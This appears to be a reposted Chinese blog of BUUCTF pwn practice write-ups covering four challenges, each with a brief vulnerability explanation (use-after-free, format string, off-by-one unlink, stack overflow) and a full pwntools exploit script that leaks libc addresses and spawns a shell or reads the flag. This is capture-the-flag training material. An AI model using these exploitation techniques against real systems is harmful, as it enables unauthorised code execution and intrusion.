PWN-PRACTICE-BUUCTF-23

PWN-PRACTICE-BUUCTF-23

    • gyctf_2020_some_thing_exceting
    • axb_2019_heap
    • [极客大挑战 2019]Not Bad
    • inndy_echo

gyctf_2020_some_thing_exceting

程序读取了flag到bss段上的0x6020A8地址处
存在uaf漏洞,利用fastbins的LIFO原则,create大小合适的chunk并free
再次create,将0x6020A8覆写到之前create并free掉的chunk里,最后show即可打印出flag

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./gyctf_2020_some_thing_exceting")
io=remote("node4.buuoj.cn",29559)
elf=ELF("./gyctf_2020_some_thing_exceting")
libc=ELF("./libc-2.23.so")
flag_addr=0x6020A8def add(ba_len,ba,na_len,na):io.sendlineafter("> Now please tell me what you want to do :","1")io.sendlineafter("> ba's length : ",str(ba_len))io.sendlineafter("> ba : ",ba)io.sendlineafter("> na's length : ",str(na_len))io.sendlineafter("> na : ",na)
def edit():io.sendlineafter("> Now please tell me what you want to do :","2")
def free(index):io.sendlineafter("> Now please tell me what you want to do :","3")io.sendlineafter("> Banana ID : ",str(index))
def show(index):io.sendlineafter("> Now please tell me what you want to do :","4")io.sendlineafter("> SCP project ID : ",str(index))
def exit():io.sendlineafter("> Now please tell me what you want to do :","5")#gdb.attach(io)
#pause()add(0x10,"aaaa",0x20,"bbbb")#0
add(0x20,"cccc",0x20,"dddd")#1#pause()free(1)#pause()free(0)#pause()add(0x10,"eeee",0x10,p64(flag_addr)*2)#2#pause()show(1)exit()io.interactive()

axb_2019_heap

elf,保护全开,不能通过got改写地址,也不知道程序的基地址
利用格式化字符串漏洞泄露libc基址和main基址
输入content的get_input函数存在obo漏洞,可构成unlink
参考:buuctf axb_2019_heap

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./axb_2019_heap")
io=remote("node4.buuoj.cn",27073)
elf=ELF("./axb_2019_heap")
libc=ELF("./libc-2.23-16-x64.so")def add(index,size,content):io.sendlineafter("Enter a option: \n>> ","1")io.sendlineafter("Enter the index you want to create (0-10):",str(index))io.sendlineafter("Enter a size:\n",str(size))io.sendlineafter("Enter the content: \n",content)
def free(index):io.sendlineafter("Enter a option: \n>> ","2")io.sendlineafter("Enter an index:\n",str(index))
def show():io.sendlineafter("Enter a option: \n>> ","3")
def edit(index,content):io.sendlineafter("Enter a option: \n>> ","4")io.sendlineafter("Enter an index:\n",str(index))io.sendlineafter("Enter the content: \n",content)io.recvuntil("Enter your name: ")
payload="%15$p%19$p"
io.sendline(payload)
io.recvuntil("0x")
libc_base=int(io.recvuntil("0x")[:-2],16)-240-libc.sym["__libc_start_main"]
main_base=int(io.recvuntil("\n")[:-1],16)-0x000000000000116A
print("libc_base=="+hex(libc_base))
print("main_base=="+hex(main_base))
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
note=main_base+0x202060#gdb.attach(io)
#pause()add(0,0x98,"a"*0x98)#0
add(1,0x90,"bbbb")#1
add(2,0x90,"/bin/sh\x00")#2#pause()payload=p64(0)+p64(0x91)+p64(note-0x18)+p64(note-0x10)
payload=payload.ljust(0x90,"a")
payload+=p64(0x90)+p8(0xa0)
edit(0,payload)#pause()free(1)#pause()payload=p64(0)*3+p64(free_hook)+p64(0x08)
edit(0,payload)#pause()edit(0,p64(system))#pause()free(2)io.interactive()

[极客大挑战 2019]Not Bad

NX disabled,堆栈可执行
程序调用mmap函数在地址0x123000处开辟了一块0x1000大小的堆块
sub_400A16函数中可造成栈溢出,在栈上布局shellcode,调整栈顶指针rsp,使之能够指向shellcode
读取当前目录下的flag文件到0x123000+0x100处,调用write打印出flag
打开的flag文件的文件描述符按0,1,2的顺序加1,即为3

# -*- coding:utf-8 -*-
from pwn import *
context.arch="amd64"
context.os="linux"
#io=process("./bad")
io=remote("node4.buuoj.cn",27593)
elf=ELF("./bad")
mmap_addr=0x123000
jmp_rsp=0x400A01
io.recvuntil("Easy shellcode, have fun!\n")
payload=asm(shellcraft.read(0,mmap_addr,0x100))+asm("mov rax,0x123000;call rax")
payload=payload.ljust(32+8,"\x00")
payload+=p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp")
io.sendline(payload)
payload=shellcraft.open("./flag")
payload+=shellcraft.read(3,mmap_addr+0x100,0x50)
payload+=shellcraft.write(1,mmap_addr+0x100,0x50)
payload=asm(payload)
io.sendline(payload)
io.interactive()

inndy_echo

格式化字符串漏洞,输入的偏移为7
通过printf_got泄露出printf的真实地址,进而得到libc基地址,计算system真实地址
通过printf_got修改printf真实地址为system的真实地址
输入"/bin/sh\x00",即可执行system("/bin/sh\x00")

from pwn import *
context.log_level='debug'
#io=process('./inndy_echo')
io=remote("node4.buuoj.cn",28404)
elf=ELF('./inndy_echo')
printf_got=elf.got["printf"]
payload=p32(printf_got)+"%7$s"
io.sendline(payload)
printf_addr=u32(io.recvuntil('\xf7')[-4:])
print("printf_addr=="+hex(printf_addr))
libc=ELF('./libc-2.23-x32.so')
libc_base=printf_addr-libc.sym["printf"]
system_addr=libc_base+libc.sym['system']
print("system_addr=="+hex(system_addr))
payload=fmtstr_payload(7,{printf_got:system_addr})
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438076.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

.NET 实现并行的几种方式(三)

在前两篇随笔中,先后介绍了 Thread 、ThreadPool 、IAsyncResult (即 APM系列) 、Task 、TPL (Task Parallel Library)。 写到这些笔者突然意识到 还有一个EMP系列没有写,在这里补充一下: 六、 EAP 、EAP中的典型代表是 WebClient: EAP系…

PWN-PRACTICE-BUUCTF-24

PWN-PRACTICE-BUUCTF-24cmcc_pwnme1wdb2018_guessoneshot_tjctf_2016gyctf_2020_forcecmcc_pwnme1 栈溢出,ret2libc # -*- coding:utf-8 -*- from pwn import * #context.log_level"debug" ioremote("node4.buuoj.cn",27883) elfELF("./…

.NET异步编程之新利器——Task与Await、Async

一. FrameWork 4.0之前的线程世界     在.NET FrameWork 4.0之前,如果我们使用线程。一般有以下几种方式: 使用System.Threading.Thread 类,调用实例方法Start()开启一个新线程,调用Abort()方法来提前终止线程。使用System.T…

对比MS Test与NUnit Test框架

前言: 项目中进行Unit Test时,肯定会用到框架,因为这样能够更快捷、方便的进行测试。 .Net环境下的测试框架非常多,在这里只是对MS Test和NUnit Test进行一下比较, 因为这两个框架用的较多,也有大虾想过…

PWN-PRACTICE-BUUCTF-25

PWN-PRACTICE-BUUCTF-25wustctf2020_name_your_catciscn_2019_final_2mrctf2020_shellcode_revengezctf2016_note2wustctf2020_name_your_cat 通过数组越界覆写返回地址为后门shell的地址 from pwn import * #ioprocess(./wustctf2020_name_your_cat) ioremote(node4.buuoj.c…

使用 Github Pages 和 Hexo 搭建自己的独立博客【超级详细的小白教程】

2022-01-25 更新:博客新地址:https://www.itbob.cn/ 欢迎关注我的专栏:《个人博客搭建:HexoGithub Pages》,从搭建到美化一条龙,帮你解决 Hexo 常见问题! 推荐阅读:《Hexo 博客优化…

windows程序消息机制(Winform界面更新有关)

1. Windows程序消息机制 Windows GUI程序是基于消息机制的,有个主线程维护着消息泵。这个消息泵让windows程序生生不息。 Windows程序有个消息队列,窗体上的所有消息是这个队列里面消息的最主要来源。这里的While循环使用了GetMessage() 这个方法,这是个阻塞方法,也…

PWN-PRACTICE-BUUCTF-26

PWN-PRACTICE-BUUCTF-26护网杯_2018_gettingstartwustctf2020_number_gamepicoctf_2018_are you rootciscn_2019_en_3护网杯_2018_gettingstart read到buf的时候有溢出,覆写v5为0x7FFFFFFFFFFFFFFF,v6为0x3FB999999999999A from pwn import * ioremote…

最新主流 Markdown 编辑器推荐

Markdown ,2004年由 John Gruberis 设计和开发,是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式,以下将介绍目前比较流行的一些 Markdown 编辑器(排名…

PWN-PRACTICE-BUUCTF-27

PWN-PRACTICE-BUUCTF-27starctf_2019_babyshellpicoctf_2018_buffer overflow 0gyctf_2020_signinbjdctf_2020_YDSneedGrirlfriendstarctf_2019_babyshell 用\x00绕过shellcode检测,call rdx 跳转过去执行汇编代码,一个\x00必执行失败 于是需要找一条机…

Python3 基础学习笔记 C01【变量和简单数据类型】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…

Python3 基础学习笔记 C02【列表】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…

PWN-PRACTICE-BUUCTF-28

PWN-PRACTICE-BUUCTF-28wustctf2020_name_your_dogjudgement_mna_2016gyctf_2020_some_thing_interestingxman_2019_formatwustctf2020_name_your_dog Partial RELRO,可修改got表 scanf_got距离Dogs56个字节 当index为-7时,即可改写scanf_got为shell的地…

敏捷开发之Scrum扫盲,及敏捷开发中XP与SCRUM的区别

敏捷开发之Scrum扫盲篇 现在敏捷开发是越来越火了,人人都在谈敏捷,人人都在学习Scrum和XP... 为了不落后他人,于是我也开始学习Scrum,今天主要是对我最近阅读的相关资料,根据自己的理解,用自己的话来讲述S…

有关不蒜子访问统计无法显示的解决方法

十月初,不蒜子统计失效了,如下图: 进入不蒜子官网看看: 问题来了,官网写着:因七牛强制过期『dn-lbstatics.qbox.me』域名,与客服沟通无果,只能更换域名到『busuanzi.ibruce.info』…

PWN-PRACTICE-BUUCTF-29

PWN-PRACTICE-BUUCTF-29actf_2019_babyheapwustctf2020_easyfast强网杯2019 拟态 STKOFhitcon_2018_children_tcacheactf_2019_babyheap UAF,创建两个非0x10大小的chunk,比如两个0x20 程序会创建四个chunk,大小依次为0x10,0x20&a…

SCRUM与XP区别

敏捷开发 1、敏捷的含义 敏捷开发是一种以人为核心、迭代、增量的开发方法。在敏捷开发中,把一个大项目分为多个相互联系,可独立运行的小项目,并分别完成,在此过程中软件一直处于可使用状态。 上面提到3个关键词,下…

Python3 基础学习笔记 C03【操作列表】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…

PWN-PRACTICE-BUUCTF-30

PWN-PRACTICE-BUUCTF-30suctf_2018_stackwdb_2018_3rd_soEasy[BSidesCF 2019]Runitqctf2018_stack2suctf_2018_stack 栈溢出,ret2text,返回地址不能直接是next_door的起始地址 设置返回地址为0x40067A,开始设置系统调用的参数以及系统调用号…

Java编写程序时出现警告:Resource leak: 'xxx' is never closed 解决方案

菜鸟新手,学校在教Java,作业里面要求我们编程实现运算一个简单的程序,程序写好了,却发现冒出一个警告,如下图: 百度了一下,意思是申明了名为a的数据输入扫描仪(Scanner&#xff09…